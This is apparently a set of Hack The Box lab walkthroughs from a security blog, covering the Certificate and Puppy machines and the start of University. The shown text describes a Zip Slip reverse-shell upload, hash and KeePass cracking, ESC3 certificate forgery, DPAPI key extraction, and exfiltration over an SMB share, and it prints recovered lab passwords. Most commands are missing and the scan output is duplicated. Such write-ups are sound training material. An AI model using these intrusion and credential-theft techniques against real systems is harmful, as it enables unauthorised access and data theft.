To get full control (root), we abused the machine’s certificate system that issues digital ID cards. By requesting and extracting certificate material and using a small trick to handle the server’s clock, we converted those certificate files into administrative credentials. With those elevated credentials we accessed the system as an admin and read the root.txt file for the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.71

nmap -sC -sV -oA initial 10.10.11.71

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54

┌─[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

Analysis:

• 53/tcp — DNS (Simple DNS Plus): name resolution and potential zone/host enumeration.
• 80/tcp — HTTP (Apache/PHP): web app surface for discovery, uploads, and common web vulnerabilities.
• 88/tcp — Kerberos: AD authentication service; useful for ticket attacks and Kerberos enumeration.
• 135/tcp — MSRPC: RPC endpoint for Windows services (potential remote service interfaces).
• 139/tcp — NetBIOS-SSN: legacy SMB session service — useful for NetBIOS/SMB discovery.
• 389/tcp — LDAP: Active Directory directory service (user/group enumeration and queries).
• 445/tcp — SMB (Microsoft-DS): file shares and SMB-based lateral movement/credential theft.
• 464/tcp — kpasswd (Kerberos password change): Kerberos password change service.
• 593/tcp — RPC over HTTP: RPC tunneled over HTTP — can expose various Windows RPC services.
• 636/tcp — LDAPS: Secure LDAP over TLS — AD queries and certificate info via encrypted channel.
• 3268/tcp — Global Catalog (LDAP): AD global catalog queries across the forest (fast user/group lookup).
• 3269/tcp — Global Catalog over TLS: Encrypted global catalog queries for secure AD enumeration.

Web Enumeration:

The website’s interface initially appears conventional.

The Account tab contains options for logging in and registering.

Let’s create a new account here.

You can register in the same way as shown above.

The registration was successful.

Therefore, let’s log in using the credentials we created earlier.

Successful access will display an interface similar to the one shown above.

Clicking the course tab displays the interface shown above.

As a result, let’s enrol in the course.

There are many sessions, but the quiz is what caught my attention at the moment.

There is an upload button available in the quizz section.

We are required to upload a report in PDF, DOCX, PPTX, or XLSX format.

After a while, I uploaded a form.pdf file that contained empty content.

Once the file is successfully uploaded, we need to click the “HERE” link to verify that it has been uploaded into the system.

It worked like a charm.

Exploiting Zip Slip: From Archive to Remote Code Execution

Zip Slip is a critical arbitrary file overwrite vulnerability that can often lead to remote command execution. The flaw impacts thousands of projects, including those from major vendors such as HP, Amazon, Apache, and Pivotal. While this type of vulnerability has existed previously, its prevalence has recently expanded significantly across a wide range of projects and libraries.

Let’s implement a PHP reverse shell to establish a reverse connection back to our host.

Compress the PDF into dark.zip and upload it as a standard archive file.

We also compress the test directory, which includes exploit.php, into a ZIP archive.

Combine the two ZIP archives into a single ZIP file for upload as part of an authorized security assessment in an isolated testing environment.

Initiate the listener.

Upload the shell.zip file to the designated test environment within the authorized, isolated assessment scope.

Access the specified URL within the isolated test environment to observe the application’s behavior.

After a short interval, the connection was reestablished.

Among numerous users, the account xamppuser stood out.

Consequently, inspect the certificate.htb directory located under /xampp/htdocs.

I discovered information indicating that we can utilise the MySQL database.

Executing the MySQL command returned no errors, which is a positive sign.

MySQL Reconnaissance and Attack Surface Mapping

As a result, we navigated to /xampp/mysql/bin, used mysql.exe to run SQL commands, and successfully located the database.

The users table drew my attention.

There is a significant amount of information associated with several users.

While scrolling down, we identified a potential user named sara.b.

The hash was collected as shown above.

All the hashes use Blowfish (OpenBSD), WoltLab Burning Board 4.x, and bcrypt algorithms.

When using Hashcat, a specific hash mode is required.

After extended processing, the password for the suspected account sara.b was recovered as Blink182.

Attempting to access the machine using Sara.B’s credentials.

Unfortunately, Sara.B’s desktop contains no files.

Bloodhound enumeration

We can proceed with further analysis using the BloodHound platform.

Sara.B Enumeration for Lateral Movement

We can observe the WS-01 directory.

There are two different file types present.

The Description.txt file reports an issue with Workstation 01 (WS-01) when accessing the Reports SMB share on DC01. Incorrect credentials correctly trigger a “bad credentials” error, but valid credentials cause File Explorer to freeze and crash. This suggests a misconfiguration or fault in how WS-01 handles the SMB share, potentially due to improper permissions or corrupt settings. The behavior indicates a point of interest for further investigation, as valid access attempts lead to system instability instead of normal access.

Download the pcap file to our machine for further analysis.

Wireshark analaysis

There are numerous packets available for further investigation.

Upon careful analysis of packet 917, I extracted the following Kerberos authentication hash: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0.

Alternate Certificate Forging via Python Script

Alternatively, we can use a Python script here

Save the hash to hash.txt.

The recovered password is !QAZ2wsx.

This confirms that the account lion.sk can authenticate to WinRM using the password !QAZ2wsx.

We successfully accessed the lion.sk account as expected.

Read the user flag by running the command: type user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Sara.B is listed as a member of Account Operators and has GenericAll rights over the lion.sk account. In plain terms, that means Sara.B can fully manage the lion.sk user — change its password, modify attributes, add it to groups, or even replace its credentials. Because Account Operators is a powerful built‑in group and GenericAll grants near‑complete control over that specific account, this is a high‑risk configuration: an attacker who compromises Sara.B (or abuses her privileges) could take over lion.sk and use it to move laterally or escalate privileges.

Synchronise the system clock with certificate.htb using ntpdate: ntpdate -s certificate.htb

ESC3 Enumeration and CA Configuration Analysis

What is ESC3 Vulnerability?

In a company, employees get digital certificates—like special ID cards—that prove who they are and what they’re allowed to do. The ESC3 vulnerability happens when certain certificates allow users to request certificates on behalf of others. This means someone with access to these certificates can pretend to be another person, even someone with higher privileges like an admin.

Because of this, an attacker could use the vulnerability to gain unauthorized access to sensitive systems or data by impersonating trusted users. It’s like being able to get a fake ID that lets you enter restricted areas.

Fixing this involves limiting who can request these certificates and carefully controlling the permissions tied to them to prevent misuse.

Using lion.sk credentials, Certipy enumerated 35 certificate templates, one CA (Certificate-LTD-CA), 12 enabled templates, and 18 issuance policies. Initial CA config retrieval via RRP failed due to a remote registry issue but succeeded on retry. Web enrollment at DC01.certificate.htb timed out, preventing verification. Certipy saved results in text and JSON formats and suggests using -debug for stack traces. Next steps: review saved outputs and confirm DC01’s network/service availability before retrying.

Certipy flagged the template as ESC3 because it contains the Certificate Request Agent EKU — meaning principals allowed to enrol from this template (here CERTIFICATE.HTB\Domain CRA Managers, and Enterprise Admins listed) can request certificates on behalf of other accounts. In practice, that lets those principals obtain certificates that impersonate higher‑privilege users or services (for example ,issuing a cert for a machine or a user you don’t control), enabling AD CS abuse and potential domain escalation.

Request the certificate and save it as lion.sh.pfx.

Certificate Issued to Ryan.k

Sara.B is a member of Account Operators and has GenericAll permissions on the ryan.k account — in simple terms, Sara.B can fully control ryan.k (reset its password, change attributes, add/remove group membership, or replace credentials). This is high risk: if Sara.B is compromised or abused, an attacker can take over ryan.k and use it for lateral movement or privilege escalation. Recommended actions: limit membership in powerful groups, remove unnecessary GenericAll delegations, and monitor/account‑change audit logs.

Certipy requested a certificate via RPC (Request ID 22) and successfully obtained a certificate for UPN ryan.k@certificate.htb; the certificate object SID is S-1-5-21-515537669-4223687196-3249690583-1117 and the certificate with its private key was saved to ryan.k.pfx.

Unfortunately, the clock skew is too large.

When using the faketime command, it behaves as expected.

With explicit permission and in a controlled environment, verify whether the extracted hash can authenticate as ryan.k for investigative purposes.

Abusable Rights: SeManageVolumePrivilege

The following privileges are enabled: SeMachineAccountPrivilege — Add workstations to the domain; SeChangeNotifyPrivilege — Bypass traverse checking; SeManageVolumePrivilege — Perform volume maintenance tasks; SeIncreaseWorkingSetPrivilege — Increase a process’s working set.

Let’s create a temporary directory.

While executing the command, we encountered the error Keyset does not exist, indicating the required cryptographic key material is missing or inaccessible.

Therefore, we need to transfer the SeManageVolumeExploit.exe file to the target machine.

It refers to entries that have been modified.

I ran icacls on Windows, and it successfully processed 1 file with 0 failures.

Finally, it worked exactly as I expected.

We can now download the ca.pfx file to our local machine

Certificate Forgery for Domain Auth (Certipy)

We can convert the ca.pfx file into admin.pfx.

Authentication failed because the clock skew is too significant.

After switching to faketime, it worked like a charm.

Read the root flag by running the command: type root.txt.

The post Hack The Box: Certificate Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Introduction to Puppy:

In this writeup, we will explore the “Puppy” machine from Hack The Box, categorised as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on Puppy Machine:

The goal of this walkthrough is to complete the “Puppy” machine from Hack The Box by achieving the following objectives:

User Flag:

Gaining the user flag on the Puppy machine was a calculated strike. Using levi.james’s credentials, I escalated access by adding the account to the DEVELOPERS group, unlocking the DEV share. Brute-forcing the recovery.kdbx file with the password “Liverpool” exposed ant.edwards:Antman2025!, which enabled resetting ADAM.SILVER’s password. A swift WinRM login as ADAM.SILVER and a quick “type user.txt” snagged the flag from the desktop.

Root Flag:

The root flag fell after a relentless push through credential exploitation. From a backup file in C:\Backups, I extracted steph.cooper:ChefSteph2025! and used it to access a WinRM shell. Exfiltrating DPAPI keys via an SMB share and decrypting them with Impacket unveiled steph.cooper_adm:FivethChipOnItsWay2025!. Logging in as this user opened the Administrator directory, where “type root.txt” delivered the final prize.

Enumerating the Puppy Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial -Pn 10.10.11.70

nmap -sC -sV -oA initial -Pn 10.10.11.70

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/puppy]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.70 
# Nmap 7.94SVN scan initiated Fri Sep 26 16:50:55 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.70
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-27 03:25:03Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status

┌─[dark@parrot]─[~/Documents/htb/puppy]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.70 
# Nmap 7.94SVN scan initiated Fri Sep 26 16:50:55 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.70
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-27 03:25:03Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h33m43s
| smb2-time: 
|   date: 2025-09-27T03:26:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h33m43s
| smb2-time: 
|   date: 2025-09-27T03:26:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Analysis:

• 53/tcp: DNS (Simple DNS Plus) for name resolution.
• 88/tcp: Kerberos authentication service for AD logins.
• 135/tcp & 593/tcp: Microsoft RPC endpoints for service enumeration.
• 139/tcp & 445/tcp: NetBIOS and SMB for file shares and potential lateral movement.
• 389/tcp & 3268/tcp: LDAP and Global Catalog for AD enumeration.
• 464/tcp: Kerberos password change service.
• 111/tcp & 2049/tcp: NFS and RPC services (mountd, nlockmgr) for file system access.
• 636/tcp & 3269/tcp: Encrypted LDAP services (LDAPS/GC).
• 3260/tcp: Potential iSCSI storage interface.
  

Enumeration:

Bloodhound

Executed bloodhound-python with levi.james credentials against puppy.htb (using 10.10.11.70 as the DNS/collector). The tool enumerated Active Directory data (users, groups, computers, sessions, ACLs, trusts, etc.) with -c All and packaged the results into a zipped bundle (--zip) ready for import into BloodHound to map privilege-escalation and lateral-movement paths.

levi.james is in HR and DEVELOPERS and holds GenericWrite — he can modify attributes/DACLs on writable objects; on HTB, use BloodHound to find those machines/groups/service accounts and abuse them (add users to privileged groups, change DACLs, or set an SPN) to escalate.

rpcclient — Enumerating domain users

Using rpcclient, we connected to the target machine as levi.james and enumerated the domain users. The enumeration output listed several accounts, including Administrator, Guest, service accounts such as krbtgt, and multiple regular users like levi.james, ant.edwards, adam.silver, jamie.williams, steph.cooper, and steph.cooper_adm. These findings provide a useful starting point for further steps, such as detailed enumeration or potential password spraying attacks.

SMBclient enumeration

Running netexec smb against 10.10.11.70 with levi.james‘s credentials successfully enumerated SMB shares. The results show IPC$, NETLOGON, and SYSVOL are accessible with read-only permissions, while ADMIN$, C$, and DEV shares are inaccessible. This read access can be useful for gathering domain information or extracting scripts and policies from SYSVOL and NETLOGON for further enumeration.

Running smbclient //10.10.11.70/DEV -U levi.james attempted to access the DEV share using levi.james‘s credentials. The connection was successful, but when trying to list the contents (ls), the server returned NT_STATUS_ACCESS_DENIED, indicating that the account does not have the required permissions to view or access files in this share.

Using bloodyAD, we connected to the domain controller (dc.puppy.htb) with levi.james‘s credentials and successfully added the user levi.james to the DEVELOPERS group, granting him all privileges associated with the group. After re-authenticating, we reconnected to the DEV share with smbclient and were able to list its contents. The share contained several notable items, including KeePassXC-2.7.9-Win64.msi, a Projects folder, recovery.kdbx (a KeePass database), and tiCPYdaK.exe. These files provide valuable leads for further enumeration, with the KeePass database being a strong candidate for extracting credentials to escalate privileges or move laterally within the network.

Downloaded the recovery.kdbx file from the DEV share to the local machine for offline analysis.

KDBX cracking — offline KeePass recovery

The file command identified recovery.kdbx as a KeePass 2.x KDBX password database.

We ran keepass2john on the file to extract password hashes, but it failed with an error indicating that the file version 40000 is not supported, so no hashes could be generated.

keepass4brute — running KDBX brute-force responsibly

Cloning that repository downloads the keepass4brute project from GitHub to your local machine, giving you the scripts, tools, and documentation included by the author for attempting offline recovery or brute-force against KeePass databases. After cloning, check the README for dependencies and usage instructions, verify the tool supports your KDBX version, and run it on a local copy of the database only with explicit authorization — misuse may be illegal or unethical.

The repository we cloned to our machine contains four items: .gitignore (ignored files), LICENSE (project license), README.md (usage and setup instructions), and keepass4brute.sh (the main brute-force script). Review the README and LICENSE before running the script, confirm dependencies, and scan any downloaded executables for malware.

Run the script like this: ./keepass4brute.sh <kdbx-file> <wordlist> to attempt brute-forcing the KeePass database with a specified wordlist.

The script aborted because keepassxc-cli is not installed. Install keepassxc-cli and rerun the script to continue the brute-force attempt.

I found a solution online: run sudo apt update then sudo apt install keepassxc to install KeepassXC (which provides keepassxc-cli). After installation, rerun the script.

The script is working and currently running.

Funny enough, it seems the machine creator might be a Liverpool fan, given that the recovered password is liverpool.

KeePassXC reveal — stored passwords recovered

We unlocked recovery.kdbx in KeepassXC using the password Liverpool.

Discovered a KeePass password database associated with the machine.

The user account that can be leveraged for privilege escalation or access.

The screenshots above show each user’s password.

The screenshot above displays the list of usernames.

Above displays the list of usernames along with their passwords.

I ran nxc smb against 10.10.11.70 with user list user.txt and password list password.txt using –continue-on-success; only the credential pair ant.edwards:Antman2025! succeeded.

ant.edwards sits in the SeniorDevs group and has GenericAll over adam.silver — meaning ant.edwards has full control of that account (reset password, change group membership, modify attributes or SPNs).

Using bloodyAD against dc.puppy.htb with the credentials ant.edwards:Antman2025!, we reset ADAM.SILVER’s password to p@ssw0d123! The tool reported the change succeeded, giving us direct access to the ADAM.SILVER account for follow-up enumeration or lateral movement.

ADAM.SILVER is currently disabled, so interactive logons with that account will fail until it’s re-enabled. Because ant.edwards has GenericAll over ADAM.SILVER, that account could be re-enabled and its password reset (or userAccountControl changed) to gain access — a straightforward takeover path once permissions are abused.

LDAP enumeration & ldapmodify — abusing recovered credentials

The bind failed because the LDAP server rejected the credentials — LDAP error code 49 (Invalid credentials). The extra text AcceptSecurityContext ... data 52e specifically indicates a bad username/password. Common causes are an incorrect password, wrong account name format (try DOMAIN\user or user@domain), or the account being locked or disabled. Verify the credentials and account status, then retry the bind.

The server returned an Operations error saying a successful bind is required before performing the search. In short: the LDAP query ran without an authenticated session (or the previous bind failed), so the server refused the operation. Fix by performing a successful bind first — supply valid credentials (try correct UPN or DOMAIN\user format), confirm the account is not locked/disabled, and then rerun the ldapsearch. If the server disallows anonymous/simple binds, use an authenticated bind method.

The LDAP errors were resolved after synchronizing the system clock using ntpdate. Kerberos and Active Directory require closely matched time between client and domain controller; even a small time drift can cause bind failures or “invalid credentials” errors. After correcting the time, the bind succeeded and LDAP queries worked as expected.

A userAccountControl value of 66050 indicates that the account is disabled in Active Directory.

The ldapmodify command was used to connect to the LDAP server with ANT.EDWARDS@PUPPY.HTB and modify Adam D. Silver’s account. It updated the userAccountControl attribute from 66050 (disabled) to 66048, enabling the account while keeping other flags intact. This change allows Adam D. Silver to log in and use his assigned permissions.

Start a WinRM session to 10.10.11.70 using ADAM.SILVER with password p@ssw0rd123! to obtain a remote Windows shell via evil-winrm.

Grab the user flag by running type user.txt in the WinRM shell.

Escalate to Root Privileges Access

Privilege Escalation:

There is a Backups directory located inside C:\ on the target machine.

The Backups directory contains a file named site-backup-2024-12-30.zip.

Downloaded the backup file to our local machine.

Backup triage — uncovering secrets in site-backup

Next, the backup file is extracted to inspect and analyse its contents in detail.

The extracted backup contains two directories, assets and images, along with two files: index.html and nms-auth-config.xml.bak.

The file nms-auth-config.xml.bak caught my attention; it is an XML 1.0 document in ASCII text format.

User access obtained — steph.cooper

The nms-auth-config.xml.bak file contains LDAP authentication details, including a bind account cn=steph.cooper,dc=puppy,dc=htb with password ChefSteph2025!, which can be used to query the LDAP server at DC.PUPPY.HTB:389. It also defines how user attributes (uid, givenName, sn, mail) and group attributes (cn, member) are mapped, along with a search filter for querying users. This makes the file both a sensitive credential source and a guide for LDAP enumeration.

Authenticated to 10.10.11.70 over WinRM using steph.cooper:ChefSteph2025! and obtained an interactive shell — host compromised (Pwn3d!)

Established a WinRM session to 10.10.111.70 using steph.cooper:ChefSteph2025! via vil-winrm and obtained an interactive shell — host compromised.

Ran bloodhound-python with steph.cooper:ChefSteph2025! against puppy.htb (collector DNS 10.10.11.70), which enumerated AD objects (users, groups, computers, sessions, ACLs, trusts, etc.) and packaged the output into a zipped bundle ready for import into BloodHound to map privilege-escalation and lateral-movement paths.

STEPH.COOPER@PUPPY.HTB holds DOMAIN ADMINS and ADMINISTRATORS membership, giving full domain-level control, while STEPH.COOPER_ADM@PUPPY.HTB belongs to ENTERPRISE ADMINS, granting top-level, forest-wide privileges across the entire network.

Decrypting DPAPI master key for root access

The script iterates every profile under C:\Users and, for each user, prints headings then lists full paths to DPAPI “Master Key” files (under AppData\Roaming\Microsoft\Protect and AppData\Local\Microsoft\Protect) and credential blobs (under AppData\Roaming\Microsoft\Credentials and AppData\Local\Microsoft\Credentials). It suppresses errors when folders don’t exist and outputs the exact file paths—useful for locating DPAPI keys and credential files for offline extraction and decryption.

That command starts an SMB server that exposes the local ./share directory as a network share named share with SMB2 support enabled, allowing remote hosts to connect and retrieve or push files (commonly used to serve payloads or collect exfiltrated data during engagements).

I noticed several directories under C:\Users\steph.cooper\AppData\Roaming\Microsoft that can be leveraged.

Permission denied when attempting to access that path.

After some time, I realised we need to create a local directory share on our machine.

Finally, it worked as expected.

Downloaded the files to the local machine successfully.

An error occurred: X509_V_FLAG_NOTIFY_POLICY appeared. This typically relates to SSL/TLS certificate verification issues during the connection or handshake process.

After investigating on my machine, I discovered that the installed PyOpenSSL version is 23.0.0.

To resolve the issue, PyOpenSSL was first uninstalled using sudo pip3 uninstall pyOpenSSL and then reinstalled with the latest version via sudo pip3 install --upgrade pyOpenSSL.

To my surprise, the process worked successfully and produced the following decrypted master key:
0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84.
I can now use this key for further analysis or to decrypt stored credentials.

Impacket decoded a domain credential: the Username is steph.cooper_adm and the Unknown field contains the cleartext password FivethChipOnItsWay2025!. Use these credentials to attempt an interactive logon, then assess the account’s privileges and restrictions before pivoting.

Authenticated to 10.10.11.70 over WinRM with steph.cooper_adm:FivethChipOnItsWay2025! and obtained an interactive shell — host compromised (Pwn3d!).

It completed successfully.

Checked steph.cooper_adm’s desktop and did not find the root flag.

An Administrator directory is present — we can explore it for sensitive files and potential privilege escalation.

Grab the root flag by running type root.txt in the shell.

The post Hack The Box: Puppy Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Introduction to University:

The “University” machine on Hack The Box is an insanely difficult Windows Active Directory (AD) challenge that simulates a complex enterprise network. It involves exploiting a web application vulnerability, forging certificates, pivoting through internal networks, and abusing AD privileges to achieve domain compromise. This walkthrough provides a detailed guide to capturing both user and root flags, inspired by comprehensive write-ups like ManeSec’s, with step-by-step commands, full outputs, and troubleshooting tips for all skill levels.

Objectives

• User Flag: Exploit a ReportLab RCE vulnerability (CVE-2023-33733) in university.htb to gain access as wao, forge a professor certificate to authenticate as george, and upload a malicious lecture to compromise Martin.T.
  
• Root Flag: Exploit a scheduled task to execute a malicious .url file, escalate privileges on WS-3 using LocalPotato (CVE-2023-21746), and abuse SeBackupPrivilege to extract NTDS.dit, obtaining the domain administrator’s hash.
  

Reconnaissance

Reconnaissance identifies services and attack vectors in the AD environment.

Initial Network Scanning

Scan all ports to map services.

Command:

nmap -sC -sV 10.10.11.39 -oA initial

nmap -sC -sV 10.10.11.39 -oA initial

Output:

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
